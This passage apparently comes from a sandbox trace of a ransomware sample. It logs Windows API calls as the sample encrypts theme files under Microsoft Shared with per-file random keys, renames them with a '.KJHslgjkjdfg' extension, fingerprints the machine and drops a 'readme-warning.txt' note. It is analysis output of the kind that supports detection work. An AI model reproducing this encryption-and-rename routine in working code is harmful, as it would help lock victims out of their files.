ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.677] GetProcessHeap () returned 0x2a0000 [0146.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.677] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.678] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.678] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0146.680] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.680] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.680] GetProcessHeap () returned 0x2a0000 [0146.680] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.680] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.680] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.680] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.680] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.680] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.680] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.681] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.681] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.681] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.681] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.681] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.681] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf75, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xf75, lpOverlapped=0x0) returned 1 [0146.681] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xf80, dwBufLen=0xf80 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xf80) returned 1 [0146.681] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.681] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xf80, lpOverlapped=0x0) returned 1 [0146.682] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.682] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.682] SetEndOfFile (hFile=0x118) returned 1 [0146.684] GetProcessHeap () returned 0x2a0000 [0146.684] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.684] GetProcessHeap () returned 0x2a0000 [0146.684] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.685] CloseHandle (hObject=0x118) returned 1 [0146.685] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.687] GetProcessHeap () returned 0x2a0000 [0146.687] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.687] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.687] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.687] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0146.689] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.689] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.689] GetProcessHeap () returned 0x2a0000 [0146.689] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.689] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.689] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.689] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.689] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.689] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.689] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.689] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.689] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.690] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.690] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.690] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.690] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x81fd, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x81fd, lpOverlapped=0x0) returned 1 [0146.690] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8200, dwBufLen=0x8200 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8200) returned 1 [0146.691] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.691] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x8200, lpOverlapped=0x0) returned 1 [0146.691] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.691] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x82d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.691] SetEndOfFile (hFile=0x118) returned 1 [0146.694] GetProcessHeap () returned 0x2a0000 [0146.694] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.694] GetProcessHeap () returned 0x2a0000 [0146.694] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.695] CloseHandle (hObject=0x118) returned 1 [0146.701] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.701] GetProcessHeap () returned 0x2a0000 [0146.701] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.701] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.701] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.701] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.701] GetProcessHeap () returned 0x2a0000 [0146.701] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.702] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.702] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.702] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.702] GetProcessHeap () returned 0x2a0000 [0146.702] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.702] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.702] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.702] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.702] GetProcessHeap () returned 0x2a0000 [0146.702] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.702] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.702] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.702] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.702] GetProcessHeap () returned 0x2a0000 [0146.702] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.702] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.702] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.702] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.702] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.703] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.703] RegCloseKey (hKey=0x118) returned 0x0 [0146.703] GetProcessHeap () returned 0x2a0000 [0146.703] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.703] GetProcessHeap () returned 0x2a0000 [0146.703] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.703] GetProcessHeap () returned 0x2a0000 [0146.703] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.703] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.703] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.703] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.703] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.703] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.703] GetProcessHeap () returned 0x2a0000 [0146.704] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.704] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.704] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.704] GetProcessHeap () returned 0x2a0000 [0146.704] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.704] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\readme-warning.txt") returned 83 [0146.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.704] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.706] CloseHandle (hObject=0x118) returned 1 [0146.706] GetProcessHeap () returned 0x2a0000 [0146.706] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.706] GetProcessHeap () returned 0x2a0000 [0146.706] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.706] GetProcessHeap () returned 0x2a0000 [0146.706] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.706] GetProcessHeap () returned 0x2a0000 [0146.706] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.706] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.707] GetProcessHeap () returned 0x2a0000 [0146.707] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.707] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1 [0146.707] GetProcessHeap () returned 0x2a0000 [0146.707] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0146.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.708] GetProcessHeap () returned 0x2a0000 [0146.708] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0146.708] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.708] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0146.708] GetProcessHeap () returned 0x2a0000 [0146.708] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f32d0 [0146.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.709] GetProcessHeap () returned 0x2a0000 [0146.709] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.709] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.710] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.710] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0146.712] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.712] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.712] GetProcessHeap () returned 0x2a0000 [0146.712] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0146.712] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0146.712] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.712] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0146.712] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.713] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.713] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.713] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.713] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.713] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 